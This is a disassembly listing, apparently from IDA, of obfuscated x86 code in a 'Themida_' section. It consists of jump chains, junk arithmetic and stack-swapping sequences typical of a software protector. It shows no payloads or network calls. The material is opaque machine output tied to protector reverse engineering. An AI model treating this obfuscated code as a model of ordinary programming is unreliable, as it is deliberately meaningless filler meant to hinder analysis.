; ---------------------------------------------------------------------------
loc_59D3F4: ; CODE XREF: Themida_:00593243j
push 4258h
mov [esp], ecx
add dword ptr [esp], 48AF3E06h
pop ebp
sub ebp, 48AF3E06h
jmp loc_5913E5
; ---------------------------------------------------------------------------
loc_59D40F: ; CODE XREF: Themida_:005990A2j
mov ecx, [esp]
jmp loc_593736
; ---------------------------------------------------------------------------
loc_59D417: ; CODE XREF: Themida_:00597FD2j
add edi, 5FC264B1h
jmp loc_592866
; ---------------------------------------------------------------------------
loc_59D422: ; CODE XREF: Themida_:005960F7j
or eax, 169A7D68h
push ecx
mov ecx, 3F3712D5h
xor eax, ecx
pop ecx
xor eax, 419862EDh
push ebx
mov ebx, 601D74F6h
sub ebx, 597B6FC8h
or ebx, 3694101Dh
sub ebx, 289E2A7Fh
push esi
mov esi, 88EBC6F9h
jmp loc_596628
; ---------------------------------------------------------------------------
loc_59D458: ; CODE XREF: Themida_:005961F4j
pop edx
add ebp, 4
jmp loc_59FDB8
; ---------------------------------------------------------------------------
loc_59D464: ; CODE XREF: Themida_:0059E061j
add ebx, 4
jmp loc_5912B3
; ---------------------------------------------------------------------------
loc_59D46F: ; CODE XREF: Themida_:00596F18j
push eax
push esi
push 56103227h
pop esi
jmp loc_5997D9
; ---------------------------------------------------------------------------
loc_59D47C: ; CODE XREF: Themida_:005A01E1j
push ebx
push ecx
jmp loc_5A30F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_59D483: ; CODE XREF: sub_59FCFF-7258j
add edx, 1BF5159Dh
or edx, 15CA5DA9h
and edx, 7DB727A7h
sub edx, 42A007A5h
jmp loc_59CC29
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_59D4A0: ; CODE XREF: Themida_:0059E744j
or eax, eax
jz loc_5A1B89
push edx
push 6058h
mov [esp], edi
jmp loc_591C89
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59F86C
; ---------------------------------------------------------------------------
loc_59D4BE: ; CODE XREF: Themida_:0059B116j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_597F5C
; ---------------------------------------------------------------------------
loc_59D4D3: ; CODE XREF: Themida_:00598FF1j
mov [esp], edx
push ecx
jmp loc_592AB0
; ---------------------------------------------------------------------------
loc_59D4DC: ; CODE XREF: Themida_:0058FEDAj
add esp, 4
push edx
sub esp, 4
jmp loc_59AF1F
; ---------------------------------------------------------------------------
loc_59D4EB: ; CODE XREF: Themida_:005911A0j
pop esp
jmp loc_59162C
; ---------------------------------------------------------------------------
loc_59D4F1: ; CODE XREF: Themida_:00597A90j
mov edx, [esp]
add esp, 4
add ebx, 40C04B56h
add ebx, edi
sub ebx, 40C04B56h
push edx
push eax
mov eax, 422C0E5Fh
mov edx, eax
pop eax
jmp loc_5A2176
; ---------------------------------------------------------------------------
loc_59D517: ; CODE XREF: Themida_:00598030j
xor [esp], ebx
jmp loc_5A1C06
; ---------------------------------------------------------------------------
loc_59D51F: ; CODE XREF: Themida_:00599E09j
sub edi, 115747C4h
push ecx
push ebx
mov ebx, 3DBA321Fh
push edi
mov edi, 0
sub edi, ebx
mov ebx, edi
jmp loc_5A2BC4
; ---------------------------------------------------------------------------
loc_59D53B: ; CODE XREF: Themida_:00592D25j
push esi
mov esi, 4
add eax, esi
mov esi, [esp]
jmp loc_59B4DB
; ---------------------------------------------------------------------------
loc_59D54B: ; CODE XREF: Themida_:0058F031j
mov [esp], edi
mov edi, esp
push ebx
push edi
mov edi, 4
mov ebx, edi
pop edi
jmp loc_59860B
; ---------------------------------------------------------------------------
loc_59D55F: ; CODE XREF: Themida_:005A0A8Aj
push dword ptr [esp]
pop eax
add esp, 4
push edx
mov edx, esp
add edx, 4
jmp loc_597E1D
; ---------------------------------------------------------------------------
loc_59D577: ; CODE XREF: Themida_:005943EFj
shr ah, 5
push bx
mov bh, 0C5h
sub ah, bh
pop bx
jmp loc_59BB55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59D587: ; CODE XREF: sub_590877+5421j
push eax
mov eax, 4
jmp loc_59DB81
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59D592: ; CODE XREF: Themida_:00596B3Dj
mov [esp], ecx
xchg ebp, [esp]
jmp loc_59ED83
; ---------------------------------------------------------------------------
loc_59D59D: ; CODE XREF: Themida_:005945ABj
neg dl
inc dl
sub dl, 0D4h
sub bl, dl
mov edx, [esp]
add esp, 4
add bl, 16h
sub bl, al
jmp loc_59E7D7
; ---------------------------------------------------------------------------
loc_59D5B9: ; CODE XREF: Themida_:0059C577j
push esp
jmp loc_5A0067
; ---------------------------------------------------------------------------
loc_59D5BF: ; CODE XREF: Themida_:00598469j
mov ecx, 72266A9Dh
add esi, ecx
pop ecx
add esi, eax
sub esi, 72266A9Dh
jmp loc_58EA05
; ---------------------------------------------------------------------------
loc_59D5D4: ; CODE XREF: Themida_:0059A3DAj
pop ecx
add ecx, 4
jmp loc_5979EC
; ---------------------------------------------------------------------------
loc_59D5E0: ; CODE XREF: Themida_:0059CA65j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push 3FC1h
mov [esp], ebx
jmp loc_58E44B
; ---------------------------------------------------------------------------
loc_59D5F9: ; CODE XREF: Themida_:0059AC00j
mov [esp], edx
mov edx, esp
jmp loc_593AA1
; ---------------------------------------------------------------------------
loc_59D603: ; CODE XREF: Themida_:0059E836j
mov edi, [esp]
add esp, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_59848B
; ---------------------------------------------------------------------------
loc_59D623: ; CODE XREF: Themida_:00599749j
pop ebx
jmp loc_595EC8
; ---------------------------------------------------------------------------
loc_59D629: ; CODE XREF: Themida_:0059F3E4j
pop edx
xchg ebx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_599AD6
; ---------------------------------------------------------------------------
loc_59D638: ; CODE XREF: Themida_:005A1AEDj
sub esp, 4
mov [esp], ebp
mov ebp, 700E2851h
jmp loc_59B444
; ---------------------------------------------------------------------------
loc_59D648: ; CODE XREF: Themida_:005935BBj
mov [esp], eax
jmp loc_594084
; ---------------------------------------------------------------------------
loc_59D650: ; CODE XREF: Themida_:0059A67Aj
sub esi, ebx
jmp loc_59E510
; ---------------------------------------------------------------------------
loc_59D657: ; CODE XREF: Themida_:005A1606j
pop ebp
push ebp
jmp loc_5A0BF3
; ---------------------------------------------------------------------------
loc_59D65E: ; CODE XREF: Themida_:005928D2j
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp]
pop esp
push ecx
push esp
mov ecx, [esp]
jmp loc_5942C8
; ---------------------------------------------------------------------------
mov edx, [esp]
push 7A8Eh
mov [esp], esi
jmp loc_5A27EB
; ---------------------------------------------------------------------------
loc_59D682: ; CODE XREF: Themida_:005958B5j
push 28F1h
mov [esp], ecx
jmp loc_59F6CC
; ---------------------------------------------------------------------------
loc_59D68F: ; DATA XREF: Themida_:0058E098o
mov ax, [esp]
push edx
push esp
push dword ptr [esp]
pop edx
add esp, 4
push 1C5Dh
mov [esp], eax
sub esp, 4
jmp loc_597D5A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A12EA
; ---------------------------------------------------------------------------
loc_59D6BA: ; CODE XREF: Themida_:00596A66j
not edi
xchg edi, esi
or esi, 65B05672h
jmp loc_5A15C6
; ---------------------------------------------------------------------------
loc_59D6C9: ; CODE XREF: Themida_:00590E9Aj
pop eax
add esp, 4
add ebp, edx
mov edx, [esp]
add esp, 4
jmp loc_59F75E
; ---------------------------------------------------------------------------
loc_59D6DD: ; CODE XREF: Themida_:0059AC3Bj
pop ecx
jmp loc_596973
; ---------------------------------------------------------------------------
loc_59D6E3: ; CODE XREF: Themida_:00595A7Cj
push edx
jmp loc_597941
; ---------------------------------------------------------------------------
loc_59D6E9: ; CODE XREF: Themida_:0059F2B8j
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
push esp
pop dword ptr [esp]
push esi
jmp loc_58FCE1
; ---------------------------------------------------------------------------
loc_59D703: ; CODE XREF: Themida_:0059F493j
mov dl, cl
pop ecx
jmp loc_59A1CF
; ---------------------------------------------------------------------------
loc_59D70B: ; CODE XREF: Themida_:0059979Cj
sub eax, ebx
push dword ptr [esp]
jmp loc_59DBA7
; ---------------------------------------------------------------------------
loc_59D715: ; CODE XREF: Themida_:005A1F48j
pop edx
jmp loc_59DAFA
; ---------------------------------------------------------------------------
loc_59D71B: ; CODE XREF: Themida_:005A2F65j
push ebx
mov ebx, 14E0610h
jmp loc_591614
; ---------------------------------------------------------------------------
loc_59D726: ; CODE XREF: Themida_:00599494j
not ebp
not ebp
push esi
mov esi, 154B1D63h
sub esi, 61E61794h
shl esi, 1
neg esi
jmp loc_59A3E9
; ---------------------------------------------------------------------------
loc_59D73F: ; CODE XREF: Themida_:0059F499j
add esp, 4
push 5387h
jmp loc_5956E9
; ---------------------------------------------------------------------------
loc_59D74C: ; CODE XREF: Themida_:005A018Cj
not ecx
xor ecx, 0D7DCC158h
jmp loc_5961A4
; ---------------------------------------------------------------------------
loc_59D759: ; CODE XREF: Themida_:0059953Aj
mov edi, 3107EE06h
sub esi, edi
pop edi
sub ebx, esi
jmp loc_59B655
; ---------------------------------------------------------------------------
loc_59D768: ; CODE XREF: Themida_:005A143Bj
or ebp, 697430E2h
xor ebp, 8117035h
sub ebp, 135DEFC6h
or edx, ebp
pop ebp
jmp loc_5A20A5
; ---------------------------------------------------------------------------
loc_59D782: ; CODE XREF: Themida_:0059198Aj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59D787: ; CODE XREF: Themida_:005956A5j
mov [esp], eax
mov eax, 4E6A4248h
shr eax, 2
inc eax
jmp loc_5A2391
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_59D798: ; CODE XREF: sub_5A1999-73D6j
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], ebp
xor ebp, [esp-0Ch+arg_8]
pop esp
jmp loc_596DAC
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_59D7B2: ; CODE XREF: Themida_:00598DF4j
xchg edx, [esp]
pop esp
mov [esp], ebx
push edx
jmp loc_59B114
; ---------------------------------------------------------------------------
loc_59D7BF: ; CODE XREF: Themida_:0059F0C6j
add edi, 1FEC69E7h
add edi, esi
sub edi, 1FEC69E7h
add edi, 79055E78h
jmp loc_595381
; ---------------------------------------------------------------------------
loc_59D7D8: ; CODE XREF: Themida_:0058EC11j
pop edx
inc edx
jmp loc_59240D
; ---------------------------------------------------------------------------
loc_59D7DF: ; CODE XREF: Themida_:005A1219j
shr ecx, 6
push ebx
mov ebx, 60454972h
jmp loc_594CC0
; ---------------------------------------------------------------------------
loc_59D7ED: ; CODE XREF: Themida_:005923DDj
mov ch, dl
mov bl, ch
pop ecx
mov al, bl
jmp loc_59F849
; ---------------------------------------------------------------------------
loc_59D7F9: ; CODE XREF: Themida_:005A2074j
xor bl, 0F5h
xor dl, bl
pop ebx
push 12B1h
mov [esp], ecx
mov ch, dl
jmp loc_598F80
; ---------------------------------------------------------------------------
loc_59D80E: ; CODE XREF: Themida_:00594BC7j
push 3C45BE9h
pop esi
jmp loc_593F3A
; ---------------------------------------------------------------------------
loc_59D819: ; CODE XREF: Themida_:00592A06j
add edx, 4
jmp loc_59C55F
; ---------------------------------------------------------------------------
loc_59D821: ; CODE XREF: Themida_:00599670j
sub esp, 4
mov [esp], edi
jmp loc_5A148F
; ---------------------------------------------------------------------------
loc_59D82C: ; CODE XREF: Themida_:00590C1Cj
sub eax, 0B528AFEFh
add edi, eax
pop eax
xchg edi, [esp]
pop esp
sub edx, ecx
pop ecx
and ecx, edx
mov edx, [esp]
push esi
mov esi, esp
push 1F24h
mov [esp], ebx
mov ebx, 4
add esi, ebx
pop ebx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
shr ecx, 0
jmp loc_5A2F96
; ---------------------------------------------------------------------------
loc_59D867: ; CODE XREF: Themida_:0058FB8Cj
mov ebp, 5BAC45ABh
xor esi, ebp
pop ebp
sub edi, 28760953h
add edi, esi
add edi, 28760953h
pop esi
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_597A4C
; ---------------------------------------------------------------------------
loc_59D88A: ; CODE XREF: Themida_:00599FFCj
pop edi
add esp, 4
push edx
mov edx, 251628E4h
sub esi, edx
pop edx
add esi, 4E666CB8h
add esi, ebx
jmp loc_591753
; ---------------------------------------------------------------------------
loc_59D8A4: ; CODE XREF: Themida_:00592985j
pop esp
jmp loc_59A14E
; ---------------------------------------------------------------------------
loc_59D8AA: ; CODE XREF: Themida_:0059ADC6j
add edi, ebp
mov ebp, [esp]
add esp, 4
push eax
mov eax, 2
sub edi, 6C63DC5h
add edi, eax
push eax
mov eax, 0C09615Dh
add eax, 3D845AAAh
add eax, 0BD3881BEh
add edi, eax
pop eax
pop eax
xor edi, [esp]
xor [esp], edi
jmp loc_59C4AD
; ---------------------------------------------------------------------------
loc_59D8E2: ; CODE XREF: Themida_:0058E8DAj
push ecx
mov cl, 72h
or cl, 3Ah
shr cl, 2
dec cl
push 1440h
mov [esp], ebx
jmp loc_599996
; ---------------------------------------------------------------------------
loc_59D8FA: ; CODE XREF: Themida_:0058EA86j
sub edx, eax
add edx, 24144087h
add edx, 6B616F0h
push dword ptr [esp]
pop eax
jmp loc_595E13
; ---------------------------------------------------------------------------
loc_59D911: ; CODE XREF: Themida_:0059C4D8j
mov cl, bl
mov ebx, [esp]
jmp loc_5937A4
; ---------------------------------------------------------------------------
loc_59D91B: ; CODE XREF: Themida_:005A0B29j
sub edi, 291203B7h
add edi, edx
add edi, 291203B7h
add edi, 2276601Fh
mov edx, [esp]
jmp loc_5910EC
; ---------------------------------------------------------------------------
loc_59D937: ; CODE XREF: Themida_:0059FEF6j
xor ecx, [esp]
pop esp
jmp loc_5A083A
; ---------------------------------------------------------------------------
loc_59D940: ; CODE XREF: Themida_:0059CD28j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_59B480
; ---------------------------------------------------------------------------
loc_59D955: ; DATA XREF: Themida_:0058E090o
push esi
sub esp, 4
mov [esp], esp
push ebx
mov ebx, 4
jmp loc_590EB5
; ---------------------------------------------------------------------------
loc_59D96A: ; CODE XREF: Themida_:0058FDFDj
add ebp, 593E3B47h
add ebx, ebp
jmp loc_5A1456
; ---------------------------------------------------------------------------
loc_59D977: ; CODE XREF: Themida_:00597FAAj
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_594BA8
; ---------------------------------------------------------------------------
loc_59D98D: ; CODE XREF: Themida_:0059DFD2j
mov ecx, 6C273FCEh
sub esp, 4
mov [esp], ecx
xor dword ptr [esp], 1718417Eh
pop ebx
push eax
mov eax, 631056F9h
jmp loc_5960ED
; ---------------------------------------------------------------------------
loc_59D9AE: ; CODE XREF: Themida_:005A0E91j
push eax
mov eax, 65F24F5Bh
sub eax, 1
jmp loc_59BD38
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5982C8
; ---------------------------------------------------------------------------
loc_59D9C4: ; CODE XREF: Themida_:0059F060j
dec edi
not edi
and edi, 4C4F6C7Eh
add edi, 1
shr edi, 3
sub edi, 0B1E96F35h
mov ebx, edi
pop edi
shr ebx, 7
sub esp, 4
mov [esp], eax
push ecx
mov ecx, 48A65FF6h
mov eax, ecx
pop ecx
sub eax, 79C35326h
and eax, 63602FC8h
or eax, 46C5503Bh
sub eax, 0FBA82AC3h
and ebx, eax
pop eax
neg ebx
jmp loc_5A0766
; ---------------------------------------------------------------------------
loc_59DA0C: ; CODE XREF: Themida_:0059404Bj
or esi, 26937327h
inc esi
sub esi, 0C78503Fh
jmp loc_595B2F
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2482h
mov [esp], esi
jmp loc_594D13
; =============== S U B R O U T I N E =======================================
sub_59DA2F proc near ; CODE XREF: sub_590877+8A7Aj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = word ptr 8
; FUNCTION CHUNK AT 0058E66F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FA14 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00590024 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005909F8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005911A5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591443 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059358B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00594547 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594825 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596197 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596574 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005969DA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005980D4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00599062 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A108 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B261 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B615 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C65E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059C8E0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059CF1A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E0B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E110 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E84B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A0016 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A043F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A0647 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A10E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A195F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A2DE8 SIZE 00000009 BYTES
sub esp, 4
mov [esp+0], ebx
mov ebx, 47454A24h
shl ebx, 4
push eax
push ecx
mov ecx, 48F65608h
push ebp
jmp loc_599062
sub_59DA2F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59DA4D: ; CODE XREF: Themida_:0059D3CDj
push ebp
xor [esp], esi
xor esi, [esp]
xor [esp], esi
not esi
jmp loc_5904C3
; ---------------------------------------------------------------------------
loc_59DA5E: ; CODE XREF: Themida_:005A2583j
mov esi, 57B03DD4h
xor esi, 5A6A38A8h
sub eax, esi
jmp loc_5A17D2
; ---------------------------------------------------------------------------
loc_59DA70: ; CODE XREF: Themida_:00590E6Fj
add al, 0D3h
push dword ptr [esp]
pop ecx
push edi
jmp loc_5927EE
; ---------------------------------------------------------------------------
loc_59DA7C: ; CODE XREF: Themida_:005909A2j
add esp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_592D89
; ---------------------------------------------------------------------------
loc_59DA91: ; CODE XREF: Themida_:0059F48Cj
xor esi, eax
pop eax
push 4647h
jmp loc_596159
; ---------------------------------------------------------------------------
loc_59DA9E: ; CODE XREF: Themida_:0058E70Aj
inc ecx
inc ecx
push edi
mov edi, 6B141E7Dh
or edi, 4B937D93h
xor edi, 22B209C0h
or edi, 36A23461h
or edi, 69AD4F0Ah
add edi, 4D1340D6h
xor edi, 2B3378h
add ecx, edi
pop edi
add edi, ecx
pop ecx
add edi, 2
xchg edi, [esp]
pop esp
jmp loc_59974E
; ---------------------------------------------------------------------------
loc_59DADC: ; CODE XREF: Themida_:005A2B06j
xor ecx, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59DAFA: ; CODE XREF: Themida_:0059D716j
movzx eax, al
push dword ptr [edi+eax*4]
push edx
push 419866D9h
jmp loc_59C6F3
; ---------------------------------------------------------------------------
loc_59DB0B: ; CODE XREF: Themida_:0059C2FCj
xchg ebp, [esp]
pop esp
push ebx
push esp
pop ebx
jmp loc_5A0030
; ---------------------------------------------------------------------------
loc_59DB17: ; CODE XREF: Themida_:00594A4Ej
mov ebx, esp
add ebx, 4
jmp loc_59C8A9
; ---------------------------------------------------------------------------
loc_59DB24: ; CODE XREF: Themida_:00591408j
mov esp, [esp]
mov [esp], ebp
push edx
push 76A7h
mov [esp], esi
mov esi, ebx
mov edx, esi
jmp loc_595167
; ---------------------------------------------------------------------------
loc_59DB3C: ; CODE XREF: Themida_:0059B1E1j
push edx
push 507Bh
jmp loc_58E39F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6A91h
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
jmp loc_59F4C0
; ---------------------------------------------------------------------------
loc_59DB62: ; CODE XREF: Themida_:00595539j
xor dword ptr [esp], 2CCC0721h
jmp loc_5949BE
; ---------------------------------------------------------------------------
loc_59DB6E: ; CODE XREF: Themida_:0059C75Ej
inc esi
jmp loc_596A64
; ---------------------------------------------------------------------------
loc_59DB74: ; CODE XREF: Themida_:005A31F3j
dec ch
add ch, 0C1h
xor ch, 6Bh
jmp loc_595F22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59DB81: ; CODE XREF: sub_590877+CD16j
sub esi, eax
mov eax, [esp+0]
add esp, 4
push esi
push [esp+arg_0]
pop esi
pop dword ptr [esp+0]
pop esp
push 52Bh
mov [esp-4+arg_0], esp
add [esp-4+arg_0], 4
jmp loc_593A74
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59DBA7: ; CODE XREF: Themida_:0059D710j
pop ebx
add esp, 4
mov edx, [esp]
add esp, 4
add eax, 2
push 528Ch
mov [esp], eax
jmp loc_5A064F
; ---------------------------------------------------------------------------
loc_59DBC4: ; CODE XREF: Themida_:00593711j
push edi
jmp loc_5983A0
; ---------------------------------------------------------------------------
loc_59DBCA: ; CODE XREF: Themida_:00595895j
pop ebx
sub eax, 577C7843h
sub ebp, eax
pop eax
jmp loc_59EBD9
; ---------------------------------------------------------------------------
loc_59DBD8: ; CODE XREF: Themida_:0058F3EBj
push edi
push 4C11912h
pop edi
push eax
mov eax, 419C3F1Fh
inc eax
xor eax, 6938470Ah
sub eax, 0C2E19009h
add edi, eax
pop eax
mov ebp, edi
pop edi
xor ebp, 366C2980h
sub edx, ebp
pop ebp
add edx, 62776A60h
sub edx, ebx
sub edx, 62776A60h
add edx, 5CE828B3h
sub edx, 1A41ACEh
mov ebx, [esp]
add esp, 4
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59DC27: ; CODE XREF: Themida_:00592B31j
xor edi, 18EA756Eh
push eax
jmp loc_5944AB
; ---------------------------------------------------------------------------
loc_59DC33: ; CODE XREF: Themida_:0059BBF5j
push 74350343h
jmp loc_58EA37
; ---------------------------------------------------------------------------
loc_59DC3D: ; CODE XREF: Themida_:00591B68j
xor [esp+4], edi
jmp loc_5935DE
; ---------------------------------------------------------------------------
loc_59DC46: ; CODE XREF: Themida_:0059886Bj
pop esp
mov [esp], esi
push ebx
pop esi
mov eax, esi
jmp loc_5A1E2F
; ---------------------------------------------------------------------------
loc_59DC53: ; CODE XREF: Themida_:005972CCj
push 1B58h
mov [esp], edx
mov edx, esp
push ebp
push ecx
mov ecx, 452D7CC3h
mov ebp, 90E9F799h
sub ebp, ecx
pop ecx
push 46A2h
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 320807AAh
shr edx, 7
xor edx, 19432C0Dh
jmp loc_5A0486
; ---------------------------------------------------------------------------
loc_59DCA1: ; CODE XREF: Themida_:0059DD3Fj
mov edi, [esp]
add esp, 4
xor esi, 754268F0h
neg esi
shl esi, 7
xor esi, 0F078A000h
and eax, esi
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
push 5BA1h
mov [esp], edx
push esp
pop edx
add edx, 4
jmp loc_598EDD
; ---------------------------------------------------------------------------
loc_59DCDC: ; CODE XREF: Themida_:0059260Aj
sub ebx, 4E853C4Ch
add ebx, eax
add ebx, 4E853C4Ch
pop eax
xchg ebx, [esp]
pop esp
jmp loc_59137B
; ---------------------------------------------------------------------------
loc_59DCF4: ; CODE XREF: Themida_:00594CFAj
add eax, 63D137Bh
push esi
jmp loc_59C425
; ---------------------------------------------------------------------------
loc_59DCFF: ; CODE XREF: Themida_:00594810j
pop ebx
jmp loc_58F09A
; ---------------------------------------------------------------------------
loc_59DD05: ; CODE XREF: Themida_:0059E2BAj
mov edx, 10394A18h
not edx
add edx, 1D5A5A74h
jmp loc_594229
; ---------------------------------------------------------------------------
loc_59DD17: ; CODE XREF: Themida_:005A0ABBj
push ebx
mov ebx, 47B05EABh
shl ebx, 5
xor ebx, 37F3082Eh
xchg ebp, ebx
not ebp
xchg ebp, ebx
sub ebx, 6E455289h
sub ebx, 8731511Ah
jmp loc_5A0986
; ---------------------------------------------------------------------------
loc_59DD3D: ; CODE XREF: Themida_:00598FC9j
mov esi, edi
jmp loc_59DCA1
; ---------------------------------------------------------------------------
loc_59DD44: ; CODE XREF: Themida_:0059083Aj
pop ecx
mov ebx, ecx
pop ecx
add esi, ebx
jmp loc_597052
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ecx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A0F66
; ---------------------------------------------------------------------------
loc_59DD61: ; CODE XREF: Themida_:0059B378j
mov bx, [esp]
push esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
push eax
mov eax, 2FBF31C2h
jmp loc_594296
; ---------------------------------------------------------------------------
loc_59DD7C: ; CODE XREF: Themida_:005A236Ej
push 0ADEh
mov [esp], edx
mov dl, 4Fh
jmp loc_59E95D
; ---------------------------------------------------------------------------
loc_59DD8B: ; CODE XREF: Themida_:0059AF9Bj
add ebx, edi
pop edi
push ecx
jmp loc_59AC40
; ---------------------------------------------------------------------------
loc_59DD94: ; CODE XREF: Themida_:00595524j
sub eax, edi
jmp loc_5917DA
; ---------------------------------------------------------------------------
loc_59DD9B: ; CODE XREF: Themida_:0059FFD3j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59DDA0: ; CODE XREF: Themida_:00591A28j
xor [esp], ebx
xor ebx, [esp]
pop esp
sub eax, 547208B5h
add eax, edx
add eax, 547208B5h
push ecx
mov ecx, 3C5830C1h
shr ecx, 6
and ecx, 7E341F86h
jmp loc_58F69B
; ---------------------------------------------------------------------------
loc_59DDC7: ; CODE XREF: Themida_:0059FC08j
sub ebp, 52242113h
sub ebp, 60C97E22h
mov edi, ebp
jmp loc_58F41C
; ---------------------------------------------------------------------------
loc_59DDDA: ; CODE XREF: Themida_:00595B1Fj
mov edi, [esp]
add esp, 4
add ecx, edx
pop edx
push 126Fh
mov [esp], edx
push ebp
mov ebp, 2
mov edx, ebp
jmp loc_59640C
; ---------------------------------------------------------------------------
loc_59DDF8: ; CODE XREF: Themida_:0058F4BFj
pop eax
sub al, dh
mov edx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_596AB3
; ---------------------------------------------------------------------------
loc_59DE1A: ; CODE XREF: Themida_:0059D06Aj
mov esp, [esp]
jmp loc_597776
; ---------------------------------------------------------------------------
loc_59DE22: ; CODE XREF: Themida_:005A284Fj
push eax
jmp loc_599DD9
; ---------------------------------------------------------------------------
loc_59DE28: ; CODE XREF: Themida_:00595A01j
mov ecx, esp
jmp loc_59D097
; ---------------------------------------------------------------------------
loc_59DE2F: ; CODE XREF: Themida_:0058F21Dj
mov [esp], ecx
jmp loc_59FD54
; ---------------------------------------------------------------------------
loc_59DE37: ; CODE XREF: Themida_:00590118j
mov ebp, ebx
pop ebx
sub ebp, 6DEB362Eh
push eax
mov eax, 69BE629Ch
inc eax
shr eax, 5
shl eax, 8
jmp loc_59FC25
; ---------------------------------------------------------------------------
loc_59DE52: ; CODE XREF: Themida_:00591823j
sub dword ptr [esp+4], 46E5EEDh
pop esi
push dword ptr [esp]
mov ebx, [esp]
jmp loc_5A0877
; ---------------------------------------------------------------------------
loc_59DE66: ; CODE XREF: Themida_:0059F911j
pop esp
mov [esp], esi
push ebx
mov ebx, 2D9449Ah
inc ebx
not ebx
add ebx, 2D944A0h
mov esi, ebx
mov ebx, [esp]
add esp, 4
add ebx, 5F734CA3h
push 7FA3h
mov [esp], edi
mov edi, 6CB86E41h
or edi, 73D5646Fh
shl edi, 4
shl edi, 4
neg edi
shl edi, 4
push edx
mov edx, 42EF2698h
shl edx, 1
push ebp
mov ebp, 593C20ECh
or ebp, 0DB74ECBh
not ebp
jmp loc_59CBAF
; ---------------------------------------------------------------------------
loc_59DEC3: ; CODE XREF: Themida_:0059AD09j
pop ecx
mov edx, edi
pop edi
mov ebp, [esp]
jmp loc_594CEA
; ---------------------------------------------------------------------------
loc_59DECF: ; CODE XREF: Themida_:00597744j
add ecx, 68991788h
pop ebx
sub ecx, 4
jmp loc_59C1A8
; ---------------------------------------------------------------------------
loc_59DEDE: ; CODE XREF: Themida_:005A195Aj
pop esp
add ebx, 4
push eax
jmp loc_592331
; ---------------------------------------------------------------------------
